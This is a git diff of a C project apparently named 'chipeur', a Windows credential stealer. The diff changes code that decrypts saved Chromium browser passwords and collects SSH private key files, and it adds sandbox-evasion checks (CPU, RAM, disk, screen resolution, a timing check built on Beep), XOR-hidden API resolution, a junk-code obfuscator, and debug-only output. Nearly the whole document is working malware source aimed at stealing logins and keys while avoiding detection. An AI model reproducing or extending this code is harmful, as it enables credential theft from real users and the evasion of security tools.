wcslen(browser.loginDataPath)); - printf("State path : %llu\n\n", wcslen(browser.localStatePath)); - */ +#endif PWSTR loginDataPath; if (get_logindata_path(browser.loginDataPath, &loginDataPath) != EXIT_SUCCESS) { +#ifdef DEBUG fwprintf(stderr, L"Unable to get login data PATH for %ls\n", browser.browserName); +#endif return EXIT_FAILURE; } @@ -211,7 +225,9 @@ static int steal_browser_creds(BrowserInfo browser) { int loginsCount = 0; if (chrmm_retrieve_logins(loginDataPath, &loginsCount, &logins) != EXIT_SUCCESS) { +#ifdef DEBUG fprintf(stderr, "Could not retrieve logins from the database\n"); +#endif return EXIT_FAILURE; } @@ -227,22 +243,31 @@ static int steal_browser_creds(BrowserInfo browser) { PSTR encodedKey; if (retrieve_encoded_key(localStatePath, &encodedKey) != EXIT_SUCCESS) { +#ifdef DEBUG wprintf(L"Could not retrieve key from %ls\n", localStatePath); +#endif return EXIT_FAILURE; } + // dynamic resol + hidden_apis apis; + resolve_apis(&apis); size_t encryptedKeySize = 0; BYTE *encryptedKey; - if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize) != + if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize, &apis) != EXIT_SUCCESS) { +#ifdef DEBUG printf("Could not decode %ls\n", encodedKey); +#endif return EXIT_FAILURE; } DATA_BLOB decryptedBlob; - if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob) != + if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob, &apis) != EXIT_SUCCESS) { +#ifdef DEBUG fprintf(stderr, "Could not decrypt key\n"); +#endif return EXIT_FAILURE; } @@ -250,14 +275,19 @@ static int steal_browser_creds(BrowserInfo browser) { int credentialsCount = 0; if (chrmm_decrypt_logins(logins, loginsCount, decryptedBlob.pbData, &credentials, &credentialsCount) != EXIT_SUCCESS) { +#ifdef DEBUG printf("Failed to decrypt chromium logins\n"); +#endif } for (int i = 0; i < credentialsCount; i++) { - printf("======LOGIN %d======\n", i + 1); - printCredential(credentials[i]); + if (*indexCredTab < CRED_SIZE) { + credTab[*indexCredTab].url = strdup(credentials[i].url); + credTab[*indexCredTab].username = strdup(credentials[i].username); + credTab[*indexCredTab].password = strdup(credentials[i].password); + (*indexCredTab)++; + } } - printf("====================\n"); free_credentials(credentials, credentialsCount); free_logins(logins, loginsCount); // allocated in chrmm_retrieve_logins @@ -270,7 +300,7 @@ static int steal_browser_creds(BrowserInfo browser) { return EXIT_SUCCESS; } -int steal_chromium_creds() { +int steal_chromium_creds(Credential *credTab, DWORD32 *indexCredTab) { /* BrowserInfo browsers[] = { {L"7Star", L"\\7Star\\7Star\\User Data\\Default\\Login Data", L"\\7Star\\7Star\\User Data\\Local State"}, @@ -472,9 +502,12 @@ int steal_chromium_creds() { }; for (int i = 0; i < sizeof(browsers) / sizeof(BrowserInfo); i++) { - if (steal_browser_creds(browsers[i]) != EXIT_SUCCESS) { - fwprintf(stderr, L"Unable to find credentials for %ls. Continuing...\n", + if (steal_browser_creds(browsers[i], credTab, indexCredTab) != + EXIT_SUCCESS) { +#ifdef DEBUG + fwprintf(stderr, L"Unable to find credentials for %s. Continuing...\n", browsers[i].browserName); +#endif } } return EXIT_SUCCESS; diff --git a/src/delay_execution.c b/src/delay_execution.c new file mode 100644 index 0000000..7e67646 --- /dev/null +++ b/src/delay_execution.c @@ -0,0 +1,22 @@ +#include + +// duration is in miliseconds +// sleep the program to evade sandbox time limit and check if uptime is +// consistent between the before and after sleep (to detect fast-forwards) +int delay_execution(int duration) { + ULONGLONG uptimeBeforeSleep = GetTickCount64(); + int frequency = 0; // 0 should not trigger any actual beeper + + // Calls NtDelayExecution under the hood, we could call it directly, but if it + // is hooked we are screwed anyway + // And Beep might ring less alarms than Sleep, since it is less common + // Upside being that Beep is a lot easier to use + Beep(frequency, duration); + ULONGLONG uptimeAfterSleep = GetTickCount64(); + + // detect fast-fowards + if ((uptimeAfterSleep - uptimeBeforeSleep) < duration) { + return EXIT_FAILURE; + } + return EXIT_SUCCESS; +} diff --git a/src/extract_file.c b/src/extract_file.c index d6a5e32..93d7514 100644 --- a/src/extract_file.c +++ b/src/extract_file.c @@ -15,11 +15,14 @@ void print_file(const PWSTR filename) { FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { +#ifdef DEBUG wprintf(L"[Error] print_file: couldn't open %ls file.\n", filename); +#endif return; } - +#ifdef DEBUG wprintf(L"[Debug] print_file: Opening '%ls' file.\n", filename); +#endif fflush(stdout); // reading 1024 bytes block do { @@ -36,4 +39,20 @@ void print_file(const PWSTR filename) { } while (bytesRead > 0); CloseHandle(hFile); +} + +BOOL is_readable(const PWSTR filename) { + // check if the file is readable. + + HANDLE hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) { +#ifdef DEBUG + wprintf(L"DEBUG: is_readable: couldn't read %ls file.\n", filename); +#endif + return FALSE; + } + CloseHandle(hFile); + return TRUE; } \ No newline at end of file diff --git a/src/find_ssh_key.c b/src/find_ssh_key.c index d520fca..23eb1cf 100644 --- a/src/find_ssh_key.c +++ b/src/find_ssh_key.c @@ -8,13 +8,16 @@ #include "extract_file.h" #include "obfuscation.h" -static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName, - size_t lenPkFile, sshkey keysTab[MAX_KEY_FILES], + +static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, + size_t lenPkFile, sshKey keysTab[MAX_KEY_FILES], DWORD32 *index) { WCHAR *skName = malloc(sizeof(WCHAR) * lenPkFile - 3); if (skName == NULL) { +#ifdef DEBUG printf("[Error] find_key_pair: malloc for skName failed.\n"); - return; +#endif + return FALSE; } WCHAR skNamePath[MAX_PATH]; @@ -30,15 +33,17 @@ static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName, free(skName); + // Checking if the public key is readable + // Checking if the secret key exists DWORD attributes = GetFileAttributesW(skNamePath); if (attributes == INVALID_FILE_ATTRIBUTES || (attributes & FILE_ATTRIBUTE_DIRECTORY)) { - wchar_t error_msg[] = - L"[ERROR] find_key_pair: couldn't find private key for %ls\n"; - // XOR_STR(error_msg, wcslen(error_msg)); - wprintf(error_msg, pkNamePath); - return; +#ifdef DEBUG + wprintf(L"[ERROR] find_key_pair: couldn't find private key for %ls\n", + pkNamePath); +#endif + return FALSE; } DWORD32 lenPkNamePath = wcslen(pkNamePath); @@ -53,16 +58,18 @@ static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName, wcsncpy(keysTab[*index].secretKeyPath, skNamePath, lenSkNamePath); keysTab[*index].secretKeyPath[lenSkNamePath] = L'\0'; +#ifdef DEBUG wprintf( L"[DEBUG] find_key_pair: Keys pair found: \nindex = %u\n\t%ls\n\t%ls\n\n", *index, keysTab[*index].publicKeyPath, keysTab[*index].secretKeyPath); - +#endif // incrementing the index (*index)++; + return TRUE; } -static void find_ssh_key_recursively(const PWSTR directory, - sshkey keysFilenamesTab[MAX_KEY_FILES], +static BOOL find_ssh_key_recursively(const PWSTR directory, + sshKey keysFilenamesTab[MAX_KEY_FILES], DWORD32 *indexKeysTab) { WIN32_FIND_DATAW findData; HANDLE hFind; @@ -74,7 +81,7 @@ static void find_ssh_key_recursively(const PWSTR directory, // Searching recursively hFind = FindFirstFileW(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { - return; + return FALSE; } // Looping on all the file @@ -113,7 +120,9 @@ static void find_ssh_key_recursively(const PWSTR directory, if (*indexKeysTab >= MAX_KEY_FILES) { break; } else if (wcscmp(fileName + (lenFileName - 4), file_extension) == 0) { +#ifdef DEBUG wprintf(L"File : %ls\\%ls\n", directory, fileName); +#endif find_keys_pair(directory, fileName, lenFileName, keysFilenamesTab, indexKeysTab); } @@ -122,16 +131,7 @@ static void find_ssh_key_recursively(const PWSTR directory, FindClose(hFind); } -void find_ssh_key(const PWSTR directory) { - sshkey keysFilenamesTab[MAX_KEY_FILES] = {0}; - DWORD32 indexKeysTab = 0; - find_ssh_key_recursively(directory, keysFilenamesTab, &indexKeysTab); - DWORD32 lenKeysTab = indexKeysTab; - - // Code part where we process with the dumped keys filenames. - // here we just print the file - for (unsigned int i = 0; i < lenKeysTab; i++) { - print_file(keysFilenamesTab[i].publicKeyPath); - print_file(keysFilenamesTab[i].secretKeyPath); - } +void find_ssh_key(const PWSTR directory, sshKey keysFilenamesTab[MAX_KEY_FILES], + DWORD32 *lenKeysTab) { + find_ssh_key_recursively(directory, keysFilenamesTab, lenKeysTab); } diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c new file mode 100644 index 0000000..aa0315f --- /dev/null +++ b/src/hardware_requirements.c @@ -0,0 +1,146 @@ +#include "hardware_requirements.h" + +#include +#include +#include + +// If the host has less than 2 cores chipeur does not run +static int check_cpu() { + SYSTEM_INFO systemInfo; + GetSystemInfo(&systemInfo); + DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors; + if (numberOfProcessors < 2) { +#ifdef DEBUG + fprintf(stderr, "Insufficient CPU cores detected !!\n"); +#endif + return EXIT_FAILURE; + } else { + return EXIT_SUCCESS; + } +} + +// If the host has less than 2GB of RAM chipeur does not run +static int check_ram() { + MEMORYSTATUSEX memoryStatus; + memoryStatus.dwLength = sizeof(memoryStatus); + if (!GlobalMemoryStatusEx(&memoryStatus)) { +#ifdef DEBUG + fprintf(stderr, "Failed to get RAM status !!\n"); +#endif + return EXIT_FAILURE; + } + + if (memoryStatus.ullTotalPhys / 1024 / 1024 < 2048) { +#ifdef DEBUG + fprintf(stderr, "Insufficient RAM detected !!\n"); +#endif + return EXIT_FAILURE; + } else { + return EXIT_SUCCESS; + } +} + +// If the host has less than 100GB of capacity (not availability) of HDD chipeur +// does not run +static int check_hdd() { + HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) { +#ifdef DEBUG + fprintf(stderr, "Failed to open physical drive !!\n"); +#endif + return EXIT_FAILURE; + } + + DISK_GEOMETRY pDiskGeometry; + DWORD bytesReturned; + BOOL result = DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, + &pDiskGeometry, sizeof(pDiskGeometry), + &bytesReturned, NULL); + if (!result) { +#ifdef DEBUG + fprintf(stderr, "Failed to get disk geometry !!\n"); +#endif + CloseHandle(hDevice); + return EXIT_FAILURE; + } + + DWORD diskSizeGB; + diskSizeGB = + (DWORD)(pDiskGeometry.Cylinders.QuadPart * + (ULONG)pDiskGeometry.TracksPerCylinder * + (ULONG)pDiskGeometry.SectorsPerTrack * + (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024); + if (diskSizeGB < 100) { +#ifdef DEBUG + fprintf(stderr, "Insufficient HDD capacity detected !!\n"); +#endif + CloseHandle(hDevice); + return EXIT_FAILURE; + } + + CloseHandle(hDevice); + return EXIT_SUCCESS; +} + +BOOL CALLBACK check_monitor_resolution(HMONITOR hMonitor, HDC hdcMonitor, + LPRECT lpRect, LPARAM data) { + MONITORINFO monitorInfo; + monitorInfo.cbSize = sizeof(MONITORINFO); + GetMonitorInfoW(hMonitor, &monitorInfo); + + int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left; + int yResolution = monitorInfo.rcMonitor.bottom - monitorInfo.rcMonitor.top; + + if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440) || + (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && + yResolution != 900)) { +#ifdef DEBUG + fprintf(stderr, "Non-standard screen resolution detected !!\n"); +#endif + *((BOOL*)data) = TRUE; // Set the flag if resolution is not standard + } + return EXIT_SUCCESS; // Continue enumeration +} + +static int check_resolution() { + MONITORENUMPROC pMyCallback = (MONITORENUMPROC)check_monitor_resolution; + int xResolution = GetSystemMetrics(SM_CXSCREEN); + int yResolution = GetSystemMetrics(SM_CYSCREEN); + + // Exit if the primary monitor resolution is too small + if (xResolution < 1000 && yResolution < 1000) { + return EXIT_FAILURE; + } + + int numberOfMonitors = GetSystemMetrics(SM_CMONITORS); + BOOL sandbox = FALSE; + + // Enumerate monitors and check resolutions + EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox)); + + // Exit if a non-standard resolution is detected + if (sandbox) { + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} + +int check_hardware() { + if (check_cpu() == EXIT_FAILURE) { + return EXIT_CPU_FAIL; + } + if (check_ram() == EXIT_FAILURE) { + return EXIT_RAM_FAIL; + } + if (check_hdd() == EXIT_FAILURE) { + return EXIT_HDD_FAIL; + } + if (check_resolution() == EXIT_FAILURE) { + return EXIT_RESOLUTION_FAIL; + } + + return EXIT_SUCCESS; +} diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c new file mode 100644 index 0000000..1ce05cf --- /dev/null +++ b/src/junk_code_inserter.c @@ -0,0 +1,314 @@ +// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude --> +// ./build.sh +#include "junk_code_inserter.h" + +// Generates random junk code to obfuscate the source code. +void generate_junk_code(FILE *output) { + unsigned int rand_value; + rand_value = rand() % 5; // Selects a random junk code pattern + + switch (rand_value) { + case 0: { + // Introduces a volatile integer and performs random bitwise operations + int var_id = rand() % 1000; + fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", + var_id); + fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n"); + fprintf( + output, + " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n", + var_id, var_id); + fprintf(output, " }\n"); + fprintf(output, + " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n", + var_id); + fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id); + fprintf(output, " } else {\n"); + fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id); + fprintf(output, " }\n"); + break; + } + + case 1: { + // Allocates a small array, fills it with random values, modifies one + // element, and frees it + int array_id = rand() % 1000; + int array_size = 2 + (rand() % 3); + fprintf( + output, + " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n", + array_id, array_size); + fprintf(output, " if (mem_block_%d) {\n", array_id); + fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size); + fprintf( + output, + " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n", + array_id); + fprintf(output, " }\n"); + fprintf(output, + " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n", + array_id, array_size); + fprintf(output, " free((void*)mem_block_%d);\n", array_id); + fprintf(output, " }\n"); + break; + } + + case 2: { + // Creates a small heap allocation, fills it with random values, performs + // some calculations, and frees it + int ptr_id = rand() % 1000; + fprintf( + output, + " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n", + ptr_id); + fprintf(output, " if (heap_var_%d) {\n", ptr_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n", + ptr_id); + fprintf(output, " }\n"); + fprintf(output, + " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n", + ptr_id, ptr_id, ptr_id); + fprintf(output, " free((void*)heap_var_%d);\n", ptr_id); + fprintf(output, " }\n"); + break; + } + + case 3: { + // Introduces a control flow variable with bitwise operations and loops + int logic_id = rand() % 1000; + fprintf(output, + " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", + logic_id); + fprintf(output, + " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n", + logic_id); + fprintf(output, + " control_flow_%d ^= (i * control_flow_%d) | (rand() %% " + "0xFFFF);\n", + logic_id, logic_id); + fprintf(output, " }\n"); + fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id); + fprintf(output, " control_flow_%d += rand();\n", logic_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n", + logic_id); + fprintf(output, " }\n"); + break; + } + + case 4: { + // Generates a random seed and modifies it within a loop + int loop_id = rand() % 1000; + fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", + loop_id); + fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n", + loop_id); + fprintf(output, + " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & " + "0x1)); i++) {\n", + loop_id, loop_id); + fprintf(output, + " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() " + "<< 16)) + modifier_%d;\n", + loop_id, loop_id, loop_id); + fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id); + fprintf(output, " }\n"); + break; + } + } +} + +// Generates random control flow obfuscation to make reverse engineering harder. +void generate_control_flow(FILE *output) { + unsigned int rand_value; + rand_value = rand() % 5; // Selects a random control flow obfuscation pattern + + switch (rand_value) { + case 0: { + // Creates a volatile control state variable and modifies it based on + // bitwise conditions + int var_id = rand() % 1000; + fprintf(output, + " volatile int control_state_%d = rand() ^ (rand() << 16);\n", + var_id); + fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id); + fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n", + var_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n", + var_id); + fprintf(output, " }\n"); + break; + } + + case 1: { + // Declares a small buffer and modifies its contents based on random + // values + int buffer_id = rand() % 1000; + fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf( + output, + " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n", + buffer_id); + fprintf(output, " }\n"); + fprintf(output, + " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > " + "buffer_control_%d[2]) {\n", + buffer_id, buffer_id, buffer_id); + fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n", + buffer_id, buffer_id); + fprintf(output, " }\n"); + break; + } + + case 2: { + // Uses bitwise operations and conditional logic to modify a variable + int branch_id = rand() % 1000; + fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", + branch_id); + fprintf(output, + " volatile int bitmask_%d = (rand() << 16) | rand();\n", + branch_id); + + fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id); + fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n", + branch_id, branch_id); + fprintf(output, " } else {\n"); + fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id); + fprintf(output, " }\n"); + break; + } + + case 3: { + // Implements an opaque predicate for obfuscation + int rand_id = rand() % 1000; + fprintf(output, " /* Opaque predicate */\n"); + fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); + fprintf(output, + " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n", + rand_id, rand_id); + fprintf(output, " if (predicate_%d) {\n", rand_id); + fprintf(output, " volatile int opaque_%d = rand();\n", rand_id); + fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id, + rand_id); + fprintf(output, " }\n"); + break; + } + case 4: { + // Uses a jump table with computed goto for control flow obfuscation + int label_id = rand() % 1000; + fprintf(output, + " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", + label_id, label_id, label_id); + fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id); + fprintf(output, "label_%d_A:\n", label_id); + fprintf(output, " volatile int control_var_%d = rand() %% 100;\n", + label_id); + fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id); + fprintf(output, " goto end_%d;\n", label_id); + fprintf(output, "label_%d_B:\n", label_id); + fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n", + label_id); + fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id); + fprintf(output, "end_%d:\n", label_id); + } break; + } +} + +// Applies junk code and control flow obfuscation to a given source file. +void insert_obfuscation(const char *file_path) { + char temp_file[] = "obfuscated_temp.c"; + FILE *input = fopen(file_path, "r"); + FILE *output = fopen(temp_file, "w"); + + // Check if files opened successfully + if (!input || !output) { + perror("Error opening files"); + exit(EXIT_FAILURE); + } + + char line[MAX_LINE_LENGTH]; + int inside_function = 0; // Flag to track if we are inside a function + int obfuscations_in_function = + 0; // Counter to limit obfuscations per function + int inside_struct = 0; // Flag to track if we are inside a struct definition + + // Process the input file line by line + while (fgets(line, sizeof(line), input)) { + // Detect struct definitions to avoid modifying them + if (strstr(line, "struct ") || strstr(line, "typedef struct")) { + inside_struct = 1; + } + if (strstr(line, "};") && inside_struct) { + inside_struct = 0; + } + // Detect function start by encountering an opening brace '{' outside of a + // struct + if (strstr(line, "{") && !inside_struct) { + inside_function = 1; + obfuscations_in_function = + 0; // Reset obfuscation counter for new function + } + // Detect function end by encountering a closing brace '}' outside of a + // struct + if (strstr(line, "}") && !inside_struct) { + inside_function = 0; + } + + // Insert junk code before return statements if inside a function + if (inside_function && strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } + } + + // Write the current line to the output file + fputs(line, output); + + // Insert obfuscation after semicolon if inside a function and not a return + // statement + if (inside_function && strstr(line, ";") && !strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + // Randomly insert junk code + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } + // Randomly insert control flow obfuscation + if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } + // Randomly insert opaque predicates for additional obfuscation + if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } + } + } + + // Close file streams + fclose(input); + fclose(output); + + // Replace the original file with the obfuscated version + if (rename(temp_file, file_path) != 0) { + perror("Error replacing source file"); + exit(EXIT_FAILURE); + } + printf("Obfuscation successful for: %s\n", file_path); +} + +int main(int argc, char *argv[]) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return EXIT_FAILURE; + } + + insert_obfuscation(argv[1]); + return EXIT_SUCCESS; +} \ No newline at end of file diff --git a/src/logins.c b/src/logins.c index 94c0b4a..9f52005 100644 --- a/src/logins.c +++ b/src/logins.c @@ -36,7 +36,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, sqlite3 *db; int rc = sqlite3_open16(fullPath, &db); if (rc) { +#ifdef DEBUG fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db)); +#endif return EXIT_FAILURE; } @@ -46,7 +48,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, sqlite3_stmt *statement; rc = sqlite3_prepare_v2(db, query, -1, &statement, 0); if (rc != SQLITE_OK) { +#ifdef DEBUG fprintf(stderr, "Failed to execute statement: %s\n", sqlite3_errmsg(db)); +#endif sqlite3_close(db); *loginsOut = NULL; *loginCountOut = 0; @@ -58,7 +62,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, *loginsOut = (Login *)malloc(capacity * sizeof(Login)); if (!*loginsOut) { +#ifdef DEBUG fprintf(stderr, "Failed to allocate memory for LoginInfo\n"); +#endif sqlite3_finalize(statement); sqlite3_close_v2(db); return EXIT_FAILURE; @@ -70,7 +76,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, capacity += 10; // grow the allocated array by this much *loginsOut = (Login *)realloc(*loginsOut, capacity * sizeof(Login)); if (!*loginsOut) { +#ifdef DEBUG fprintf(stderr, "Failed to reallocate memory for LoginInfo\n"); +#endif sqlite3_finalize(statement); sqlite3_close_v2(db); return EXIT_FAILURE; @@ -93,14 +101,18 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut, rc = sqlite3_finalize(statement); if (rc != SQLITE_OK) { +#ifdef DEBUG fprintf(stderr, "Failed to finalize statement: %s\n", sqlite3_errmsg(db)); +#endif sqlite3_close(db); return EXIT_FAILURE; } rc = sqlite3_close_v2(db); if (rc != SQLITE_OK) { +#ifdef DEBUG fprintf(stderr, "Failed to close database: %s\n", sqlite3_errmsg(db)); +#endif return EXIT_FAILURE; } return EXIT_SUCCESS; @@ -115,7 +127,9 @@ int chrmm_decrypt_logins(Login logins[], int loginCount, const BYTE *key, int *credentialCountOut) { *credentialsOut = (Credential *)malloc(loginCount * sizeof(Credential)); if (*credentialsOut == NULL) { +#ifdef DEBUG fprintf(stderr, "Memory allocation failed\n"); +#endif return EXIT_FAILURE; } @@ -131,14 +145,18 @@ int chrmm_decrypt_logins(Login logins[], int loginCount, const BYTE *key, BYTE *plaintext = (BYTE *)malloc(ciphertextSize); if (plaintext == NULL) { +#ifdef DEBUG fprintf(stderr, "Memory allocation failed\n"); +#endif free(*credentialsOut); return EXIT_FAILURE; } if (AES_GCM_decrypt(key, nonce, ciphertext, ciphertextSize, NULL, 0, 0, plaintext)) { +#ifdef DEBUG fprintf(stderr, "Decryption failed\n"); +#endif free(plaintext); free(*credentialsOut); return EXIT_FAILURE; @@ -182,6 +200,7 @@ void free_credentials(Credential credentials[], int count) { // Pretty print a `Login` struct void printLogin(Login login) { +#ifdef DEBUG printf("URL: %s\n", login.url); printf("Username: %s\n", login.username); printf("Password Block (Hex): "); @@ -189,11 +208,14 @@ void printLogin(Login login) { printf("%02X", (unsigned char)login.passwordBlock[i]); } printf("\n"); +#endif } // Pretty print a `Credential` struct void printCredential(Credential credential) { +#ifdef DEBUG printf("URL: %s\n", credential.url); printf("Username: %s\n", credential.username); printf("Password: %s\n", credential.password); +#endif } diff --git a/src/obfuscation.c b/src/obfuscation.c index 3e22a26..1c0cd00 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -1,5 +1,9 @@ #include "obfuscation.h" +#include +#include +#include +#include /** * XOR the given string pointer by xoring each char with 42 * @param str : the string to obfuscate/deobfuscate by xoring each character @@ -7,7 +11,8 @@ */ /*void xor_str(char *str, int size) { while (size-- > 0) { - *str++ ^= 42; + *str ^= 42; + str++; } }*/ @@ -21,4 +26,58 @@ while (size-- > 0) { *wstr++ ^= 42; } -}*/ +} + +void resolve_apis(hidden_apis *apis) { + wchar_t kernel_str[] = + L"\x41\x4f\x58\x44\x4f\x46\x19\x18\x04\x4e\x46\x46"; // kernel32.dll + XOR_WSTR(kernel_str, wcslen(kernel_str)); + + HMODULE hKernel32 = GetModuleHandleW(kernel_str); + + // Resolve strings + char checkRemoteDbg_str[] = + "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f" + "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent + XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); + + wchar_t crypt32_str[] = + L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll + XOR_WSTR(crypt32_str, wcslen(crypt32_str)); + HMODULE hCrypt32 = LoadLibraryW(crypt32_str); + + // Resolve functions in crypt32.dll + char cryptUnprotectData_str[] = + "\x69\x58\x53\x5a\x5e\x7f\x44\x5a\x58\x45\x5e\x4f\x49\x5e\x6e\x4b\x5e" + "\x4b"; + + XOR_STR(cryptUnprotectData_str, strlen(cryptUnprotectData_str)); + + char cryptStringToBinaryA_str[] = + "\x69\x58\x53\x5a\x5e\x79\x5e\x58\x43\x44\x4d\x7e\x45\x68\x43\x44\x4b\x58" + "\x53\x6b"; + + XOR_STR(cryptStringToBinaryA_str, strlen(cryptStringToBinaryA_str)); + + apis->funcCryptUnprotectData = + (PCryptUnprotectData)GetProcAddress(hCrypt32, cryptUnprotectData_str); + + apis->funcCryptStringToBinaryA = + (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str); + + // Resolve functions in kernel32.dll + apis->funcCheckRemoteDebuggerPresent = + (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, + checkRemoteDbg_str); + + /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; +XOR_STR(loadLibA_str, strlen(loadLibA_str)); +char SHGetKnownFolderPath_str[] = + "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" + "\x5e\x42"; +XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ +// apis->funcLoadLibraryA = +//(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); +// apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( +// hKernel32, SHGetKnownFolderPath_str); +} diff --git a/src/path.c b/src/path.c index 404ac7f..33f7166 100644 --- a/src/path.c +++ b/src/path.c @@ -17,7 +17,9 @@ int concat_paths(PCWSTR leftPath, PCWSTR rightPath, PWSTR* fullPathOut) { size_t totalLength = wcslen(leftPath) + wcslen(rightPath) + 1; *fullPathOut = (PWSTR)malloc(totalLength * sizeof(wchar_t)); if (!*fullPathOut) { +#ifdef DEBUG fprintf(stderr, "Failed to allocate memory for concatenated path\n"); +#endif return EXIT_FAILURE; } @@ -34,7 +36,9 @@ int get_logindata_path(PCWSTR loginDataSubPath, PWSTR* loginDataPathOut) { HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &appdataPath); if (FAILED(hr)) { +#ifdef DEBUG fprintf(stderr, "Failed to retrieve APPDATA path. Error code: %08lX\n", hr); +#endif return EXIT_FAILURE; } @@ -57,7 +61,9 